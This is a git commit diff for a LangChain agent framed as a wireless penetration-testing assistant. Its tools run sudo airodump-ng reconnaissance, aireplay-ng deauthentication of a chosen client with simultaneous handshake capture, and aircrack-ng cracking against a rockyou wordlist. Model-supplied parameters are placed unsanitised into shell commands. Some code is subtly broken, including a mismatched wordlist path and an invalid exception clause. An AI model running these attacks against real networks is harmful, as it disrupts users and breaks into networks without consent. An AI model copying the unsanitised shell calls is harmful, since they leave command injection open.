almost works

This commit is contained in:
David Westgate 2024-05-23 16:21:10 -07:00
parent e17bdcab70
commit 3759cb2709
2 changed files with 144 additions and 96 deletions

View File

@ -15,11 +15,12 @@ from langchain.tools import tool
from tools import (
get_wireless_interface,
change_adapter_mode,
wifi_network_reconnissance,
# wifi_network_reconnissance,
wifi_encryption_cracking,
packet_frame_transmission,
packet_capture_reconnaissance,
deauth_and_capture
# packet_frame_transmission,
# packet_capture_reconnaissance,
deauth_and_capture,
reconnaissance,
)
from langchain import hub
@ -45,19 +46,19 @@ tools.extend(
[
get_wireless_interface,
change_adapter_mode,
#wifi_network_reconnissance,
# wifi_network_reconnissance,
wifi_encryption_cracking,
#packet_frame_transmission,
packet_capture_reconnaissance,
deauth_and_capture
# packet_frame_transmission,
# packet_capture_reconnaissance,
deauth_and_capture,
reconnaissance,
]
)
base_prompt = hub.pull("langchain-ai/react-agent-template")
prompt = base_prompt.partial(
instructions="""
You are a wireless network penetration testing assistant
Answer the user's request by utilizing the available any combinations of tools available including iwconfig, airmon-ng, airodump-ng, and aircrack-ng.
Answer the user's request by utilizing any combinations of tools available.
If a tool is not availble to answer the users request, reject the request and provide the reason.
"""

View File

@ -1,4 +1,6 @@
import json
import subprocess
import threading
import requests
import tempfile
import zipfile
@ -21,136 +23,178 @@ shell_tool = ShellTool()
class CrackPassword(BaseModel):
params: str = Field(
description="Should be command line parameters to 'aircrack-ng' to perform some kind of wifi encryption cracking"
json_params: str = Field(
description="""Should be a string of a json object containing
'bssid': the bssid of the network to crack.
'capfile': the path to the capture file containing the handshake. """
)
def get_wordlists():
directory = "wordlists"
# Check if the directory exists
if not os.path.exists(directory):
raise FileNotFoundError(f"The directory {directory} does not exist.")
# List all files in the directory
files = [
file
for file in os.listdir(directory)
if os.path.isfile(os.path.join(directory, file))
]
# Check if the list is empty
if not files:
raise Exception(f"No files found in the directory {directory}.")
# Return the first file, for the sake of simplicity. TODO: accomodate the possibility of multiple word list files
return files[0]
@tool(
"Perform wifi encryption cracking with aircrack-ng",
args_schema=CrackPassword,
return_direct=False,
return_direct=True,
)
def wifi_encryption_cracking(params: str) -> str:
"""Can pass parameters to aircrack-ng to perform wifi encryption cracking"""
params = params.replace("`", "").replace("\n", "") # fix buggy input from LLM
hash = random.getrandbits(16)
res = shell_tool.run({"commands": [f"aircrack-ng {params}"]})
def wifi_encryption_cracking(json_params: str) -> str:
"""Must pass bssid and capfile parameters (as a string containing a json object) to aircrack-ng to perform wifi encryption cracking"""
# params = params.replace("`", "").replace("\n", "") # fix buggy input from LLM
json_params = json_params.replace("\\", "")
json_obj = json.loads(json_params)
bssid = json_obj["bssid"]
cap = json_obj["capfile"]
# wordlist = json_obj["interface"]
res = shell_tool.run(
{
"commands": [f"aircrack-ng --bssid {bssid} -w wordlist/rockyou.txt {cap}"]
} # TODO: Abstrace out wordlist - allow custom/multiple wordlist files as long as they sit in the directory
)
return res
"""Deauth via combination of airodump and airreplay"""
class DeauthAndCapture(BaseModel):
bssid: str = Field(
description="Should be a BSSID of a wifi AP"
json_params: str = Field(
description="Should be a string of a json object containing 'bssid', 'channel', client' and 'interface' for the network BSSID, wif channel, de-auth client target id, and the wireless interface respectively"
)
client: str = Field(description="Should be a MAC of a client connected to the above BSSID, as the target of the de-auth")
@tool(
"Perform a de-auth and capture for a given wifi BSSID and client",
"Perform a de-auth and capture for a given wifi BSSID, channel, and client on the given wireless. All parameters must be identified first. Return the path to the handshake capture pcap file",
args_schema=DeauthAndCapture,
return_direct=False,
)
def deauth_and_capture(bssid: str, client:str) -> str:
"""Can pass bssid and client parameters to aireplay-ng to perform and capture a de-auth"""
params = params.replace("`", "").replace("\n", "") # fix buggy input from LLM
res = shell_tool.run({"commands": [f"sudo aireplay-ng --deauth 10 -a {bssid} -c {client} wlo1mon"]})
return res
def deauth_and_capture(json_params: str) -> str:
"""Can pass bssid, client, channel, and interface parameters to aireplay-ng to perform and capture a de-auth. All parameters must be identified first"""
json_obj = json.loads(json_params)
bssid = json_obj["bssid"]
client = json_obj["client"]
interface = json_obj["interface"]
channel = json_obj["channel"]
hash = random.getrandbits(16)
out = f"dumps/deauth-capture-{hash}"
class PacketTransmission(BaseModel):
params: str = Field(
description="Should be command line parameters to 'aireplay-ng' to perform some kind of wifi frame or packet transmission"
# shell_tool.run({"commands": [f"sudo timeout -s SIGKILL 15 airodump-ng --band a --channel {channel} --bssid {bssid} --write {out} {interface}"]})
# shell_tool.run({"commands": [f"sudo aireplay-ng --deauth 10 -a {bssid} -c {client} {interface}"]})
def run_airdump(channel, bssid, out, interface):
shell_tool.run(
{
"commands": [
f"sudo timeout -s SIGKILL 15 airodump-ng --band a --channel {channel} --bssid {bssid} --write {out} {interface}"
]
}
)
def run_aireplay(bssid, client, interface):
shell_tool.run(
{
"commands": [
f"sudo aireplay-ng --deauth 10 -a {bssid} -c {client} {interface}"
]
}
)
@tool(
"Perform packet or wifi frame transmission with aireplay-ng",
args_schema=PacketTransmission,
return_direct=False,
)
def packet_frame_transmission(params: str) -> str:
"""Can pass parameters to aireplay-ng to perform packet or wifi frame transmission"""
params = params.replace("`", "").replace("\n", "") # fix buggy input from LLM
res = shell_tool.run({"commands": [f"sudo aireplay-ng {params}"]})
return res
thread1 = threading.Thread(
target=run_airdump, args=(channel, bssid, out, interface)
)
thread2 = threading.Thread(target=run_aireplay, args=(bssid, client, interface))
thread1.start()
thread2.start()
thread1.join()
thread2.join()
return f"dumps/deauth-capture-{hash}-01.cap" # return path to the handshake capture fil;e
# class PacketTransmission(BaseModel):
# params: str = Field(
# description="Should be command line parameters to 'aireplay-ng' to perform some kind of wifi frame or packet transmission"
# )
# @tool(
# "Perform packet or wifi frame transmission with aireplay-ng",
# args_schema=PacketTransmission,
# return_direct=False,
# )
# def packet_frame_transmission(params: str) -> str:
# """Can pass parameters to aireplay-ng to perform packet or wifi frame transmission"""
# params = params.replace("`", "").replace("\n", "") # fix buggy input from LLM
# res = shell_tool.run({"commands": [f"sudo aireplay-ng {params}"]})
# return res
class PacketCapture(BaseModel):
params: str = Field(
description="""Should be command line parameters to 'airodump-ng' to perform some kind of wifi reconnaissance (determine BSSID and channel of a network) or perform packet capture for a specified BSSID and channel.
Do not pass a -w, --write, or -o parameter, as this is already handled"""
description="Should be the interface name on which to perform reconnaissance, followed by any optional command line flag parameters"
)
@tool(
"Perform packet capture or wifi reconnaissance with airodump-ng. Can be used to find confirm a BSSID and channel, or to capture a handshake for a known BSSID and channel",
"Perform wifi reconnaissance with airodump-ng. Interface must be in monitor mode before starting",
args_schema=PacketCapture,
return_direct=False,
)
def packet_capture_reconnaissance(params: str) -> str:
"""Can pass parameters to airodump-ng to gather information about a BSSID such as the channel, or to capture a handshake for a specified BSSID and channel"""
def reconnaissance(params: str) -> str:
"""Use airodump-ng to gather wireless network information. Must take the interface as a parameter and may optionally be followed by command like flag parameters"""
hash = random.getrandbits(16)
params = params.replace("`", "").replace("\n", "") # fix buggy input from LLM
# json_obj = json.loads(json_params)
# interface = json_obj["interface"]
# params = json_obj["params"]
# if params == False:
# params = ""
res = shell_tool.run(
{
"commands": [
f"sudo timeout -s SIGKILL 15 airodump-ng --output-format csv --write dumps/dump-{hash} {params} "
f"sudo timeout -s SIGKILL 30 airodump-ng --band a --output-format csv --write dumps/dump-{hash} {params} " # band a for 5Ghz - TODO: make it smart enough to figure out the band you want, or perhaps to ask
]
}
)
fp = open(f"dumps/dump-{hash}-01.csv", "r")
contents = fp.read()
fp.close()
return contents
try:
with open(f"dumps/dump-{hash}-01.csv", "r") as file:
# Read the file or perform other operations
content = file.read()
file.close()
return content
except FileNotFoundError | Exception:
return "The file does not exist. Ensure interface is in monitor mode before using this tool"
class IwScan(BaseModel):
interface: str = Field(
description="Should be a wireless interface name, used as a paramater to 'iw' to scan for wifi networks"
)
# class IwScan(BaseModel):
# interface: str = Field(
# description="Should be a wireless interface name, used as a paramater to 'iw' to scan for wifi networks"
# )
# network: str = Field(
# description="Should be the name or SSID of the wifi network you are interested in"
# )
# network: str = Field(
# description="Should be the name or SSID of the wifi network you are interested in"
# )
@tool(
"Perform wifi scanning with iw. Requires the adapter be in managed mode. Adepter should be put into managed mode before running this if necessary and the interface name should be that of the managed mode interface",
args_schema=IwScan,
return_direct=False,
)
def wifi_network_reconnissance(interface: str) -> str:
"""Can pass a wireless interface name and wifi network name to return technical information about a wifi network"""
interface = interface.replace("`", "").replace("\n", "") # fix buggy input from LLM
res = shell_tool.run(
{
"commands": [
f"sudo ifconfig {interface} up",
"sleep 5",
f'sudo iw {interface} scan | grep -B 9 -A 206 "NetSec"',
]
}
) # TODO: fix error when passing network param
return res
# @tool(
# "Perform wifi scanning with iw. Requires the adapter be in managed mode. Adepter should be put into managed mode before running this if necessary and the interface name should be that of the managed mode interface",
# args_schema=IwScan,
# return_direct=False,
# )
# def wifi_network_reconnissance(interface: str) -> str:
# """Can pass a wireless interface name and wifi network name to return technical information about a wifi network"""
# interface = interface.replace("`", "").replace("\n", "") # fix buggy input from LLM
# res = shell_tool.run(
# {
# "commands": [
# f"sudo ifconfig {interface} up",
# "sleep 5",
# f'sudo iw {interface} scan | grep -B 9 -A 206 "NetSec"',
# ]
# }
# ) # TODO: fix error when passing network param
# return res
"""airmon-ng tool"""
class ChangeMonitorMode(BaseModel):
@ -171,6 +215,9 @@ def change_adapter_mode(params: str) -> str:
return res
"""iwconfig tool"""
class Iwconfig(BaseModel):
params: str = Field(
description="should be command line parameters to 'iwconfig'. If none are needed, this should be left as an empty string"